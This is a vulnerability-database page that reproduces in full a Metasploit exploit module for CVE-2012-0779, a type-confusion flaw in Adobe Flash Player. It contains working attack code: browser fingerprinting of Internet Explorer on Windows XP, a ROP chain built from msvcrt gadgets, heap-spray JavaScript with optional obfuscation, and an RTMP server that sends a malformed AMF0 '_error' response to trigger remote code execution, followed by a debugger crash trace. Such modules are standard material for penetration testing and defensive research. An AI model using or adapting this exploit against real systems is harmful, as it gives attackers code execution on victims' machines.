Lucene search
K

Adobe Flash Player Object Type Confusion

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 51 Views

Adobe Flash Player Object Type Confusion vulnerability allows remote code execution via corrupt AMF0 "_error" respons

Related
Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::BrowserAutopwn

	autopwn_info({
		:os_name    => OperatingSystems::WINDOWS,
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "8.0",
		:method     => "GetVariable",
		:classid    => "ShockwaveFlash.ShockwaveFlash",
		:rank       => NormalRanking, # reliable memory corruption
		:javascript => true
	})

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Adobe Flash Player Object Type Confusion",
			'Description'    => %q{
				This module exploits a vulnerability found in Adobe Flash
				Player.  By supplying a corrupt AMF0 "_error" response, it
				is possible to gain arbitrary remote code execution under
				the context of the user.

				This vulnerability has been exploited in the wild as part of
				the "World Uyghur Congress Invitation.doc" e-mail attack.
				According to the advisory, 10.3.183.19 and 11.x before
				11.2.202.235 are affected.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'sinn3r', # Metasploit module
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-0779' ],
					[ 'OSVDB', '81656'],
					[ 'BID', '53395' ],
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info
					[ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ]
				],
			'Payload'        =>
				{
					#'Space'    => 1024,
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Flash Player 11.2.202.228
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3',
						{
							'Rop'    => nil,
							'RandomHeap' => false,
							'Offset' => '0x0'
						}
					],
					[
						'IE 7 on Windows XP SP3',
						{
							'Rop'    => nil,
							'RandomHeap' => false,
							'Offset' => '0x0'
						}
					],
					[
						'IE 8 on Windows XP SP3 with msvcrt ROP',
						{
							'Rop' => :msvcrt,
							'RandomHeap' => false,
							'Offset' => '238',
							'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 04 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
				OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
				OptPort.new('RTMPPORT',    [ true, "The local port to RTMP service listen on.", 1935 ]),
			], self.class
		)

	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  #IE 6 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
			return targets[3]  #IE 8 on Windows XP SP3
		else
			return nil
		end
	end

	def junk(n=4)
		return rand_text_alpha(n).unpack("V").first
	end

	def nop
		return make_nops(4).unpack("V").first
	end

	def ret(t)
		return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
	end

	def popret(t)
		return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
	end

	def get_rop_chain(t)

		# ROP chains generated by mona.py - See corelan.be
		print_status("Using msvcrt ROP")
		rop =
			[
				0x77c4e392,  # POP EAX # RETN
				0x77c11120,  # <- *&VirtualProtect()
				0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
				junk,
				0x77c2dd6c,
				0x77c4ec00,  # POP EBP # RETN
				0x77c35459,  # ptr to 'push esp #  ret'
				0x77c47705,  # POP EBX # RETN
				0x00001000,  # EBX
				0x77c3ea01,  # POP ECX # RETN
				0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
				0x77c46100,  # POP EDI # RETN
				0x77c46101,  # ROP NOP (-> edi)
				0x77c4d680,  # POP EDX # RETN
				0x00000040,  # newProtect (0x40) (-> edx)
				0x77c4e392,  # POP EAX # RETN
				nop,         # NOPS (-> eax)
				0x77c12df9,  # PUSHAD # RETN
			].pack("V*")

		code = ret(t)
		code << rand_text(119)
		code << rop
		code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
		code << payload.encoded
		offset = 2616 - code.length
		code << rand_text(offset)
		code << [ t['StackPivot'] ].pack("V")
		return code
	end

	def get_easy_spray(t, js_code, js_nops)

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");

		while (nops.length < 0x80000) nops += nops;

		var offset = nops.substring(0, #{t['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);


		heap_obj.gc();
		for (var z=1; z < 0x185; z++) {
			heap_obj.alloc(block);
		}

		JS

		return spray

	end


	def get_aligned_spray(t, js_rop, js_nops)

		spray = <<-JS

		var heap_obj = new heapLib.ie(0x20000);
		var nops = unescape("#{js_nops}");
		var rop_chain = unescape("#{js_rop}");

		while (nops.length < 0x80000) nops += nops;

		var offset = nops.substring(0, #{t['Offset']});
		var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);


		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);


		heap_obj.gc();
		for (var z=1; z < 0x1c5; z++) {
			heap_obj.alloc(block);
		}

		JS

		return spray

	end

	def exploit
		@swf = create_swf

		# Boilerplate required to handled pivoted listeners
		comm = datastore['ListenerComm']
		if comm == "local"
			comm = ::Rex::Socket::Comm::Local
		else
			comm = nil
		end

		@rtmp_listener = Rex::Socket::TcpServer.create(
			'LocalHost' => datastore['RTMPHOST'],
			'LocalPort' => datastore['RTMPPORT'],
			'Comm'      => comm,
			'Context'   => {
				'Msf'        => framework,
				'MsfExploit' => self,
			}	
		)
				
		# Register callbacks
		@rtmp_listener.on_client_connect_proc = Proc.new { |cli|
			add_socket(cli)
			print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")
			on_rtmp_connect(cli)
		}

		@rtmp_listener.start

		super
	end

	def my_read(cli,size,timeout=nil)
		if timeout.nil?
			timeout = cli.def_read_timeout
		end

		buf = ""
		::Timeout::timeout(timeout) {
			while buf.length < size
			buf << cli.get_once(size - buf.length)
			end
		}
		buf
	end

	def do_handshake(cli)
		c0 = my_read(cli, 1)
		c1 = my_read(cli, 1536) # HandshakeSize => 1536
		s0 = "\3" # s0
		s1 = Rex::Text.rand_text(4) # s1.time
		s1 << "\x00\x00\x00\x00" # s1.zero
		s1 << Rex::Text.rand_text(1528) # s1.random_data
		s2 = c1 # s2
		cli.put(s0)
		cli.put(s1)
		cli.put(s2)
		c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)
	end

	def on_rtmp_connect(cli)

		begin
			do_handshake(cli)
			request = my_read(cli, 341) # connect request length

			case request
			when /connect/
				rtmp_header = "\x03" # Chunk Stream ID
				rtmp_header << "\x00\x00\x00" # Timestamp
				rtmp_header << "\x00\x00\x71" # Body Size
				rtmp_header << "\x14" # AMF0 Command
				rtmp_header << "\x00\x00\x00\x00" # Stream ID

				# String
				rtmp_body = "\x02" # String
				rtmp_body << "\x00\x06" # String length
				rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error
				# Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number
				# Array
				rtmp_body << "\x0a" # AMF Type: Array
				rtmp_body << "\x00\x00\x00\x05" # Array length: 5
				# Array elements
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				# Crafter Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call
				# Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				# Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				# Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				# Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") +  "\x00\x00\x00\x00" # Number

				trigger = rtmp_header
				trigger << rtmp_body

				cli.put(trigger)
				@rtmp_listener.close_client(cli)
			end
		rescue
		ensure
			@rtmp_listener.close_client(cli)
			remove_socket(cli)
		end

	end

	def cleanup
		super
		return if not @rtmp_listener
		
		begin
			@rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)
			if @rtmp_listener.kind_of?(Rex::Socket)
				@rtmp_listener.close
				@rtmp_listener.stop
			end
			@rtmp_listener = nil
		rescue ::Exception
		end
	end

	def on_request_uri(cli, request)

		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("Browser not supported: #{agent}")
			send_not_found(cli)
			return
		end

		print_status("Client requesting: #{request.uri}")

		if request.uri =~ /\.swf$/
			print_status("Sending Exploit SWF")
			send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
			return
		end

		p = payload.encoded
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

		if not my_target['Rop'].nil?
			js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
			js = get_aligned_spray(my_target, js_rop, js_nops)
		else
			js = get_easy_spray(my_target, js_code, js_nops)
		end

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
		swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"

		if datastore['RTMPHOST'] == '0.0.0.0'
			rtmp_host = Rex::Socket.source_address('1.2.3.4')
		else
			rtmp_host = datastore['RTMPHOST']
		end

		rtmp_port = datastore['RTMPPORT']

		html = %Q|
		<html>
		<head>
		<script>
		#{js}
		</script>
		</head>
		<body>
		<center>
		<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
		id="test" width="1" height="1"
		codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
		<param name="movie" value="#{swf_uri}" />
		<param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"
		<embed src="#{swf_uri}" quality="high"
		width="1" height="1" name="test" align="middle"
		allowNetworking="all"
		type="application/x-shockwave-flash"
		pluginspage="http://www.macromedia.com/go/getflashplayer"
		FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">
		</embed>

		</object>
		</center>

		</body>
		</html>
		|

		html = html.gsub(/^\t\t/, '')

		print_status("Sending html")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end

	def create_swf
		path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0779.swf" )
		fd = ::File.open( path, "rb" )
		swf = fd.read(fd.stat.size)
		fd.close

		return swf
	end

end

=begin

* Flash Player 11.2.202.228

(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c          mov     eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????

0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c          mov     eax,dword ptr [edx+2Ch]
104b1b30 53              push    ebx
104b1b31 ffd0            call    eax

=end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation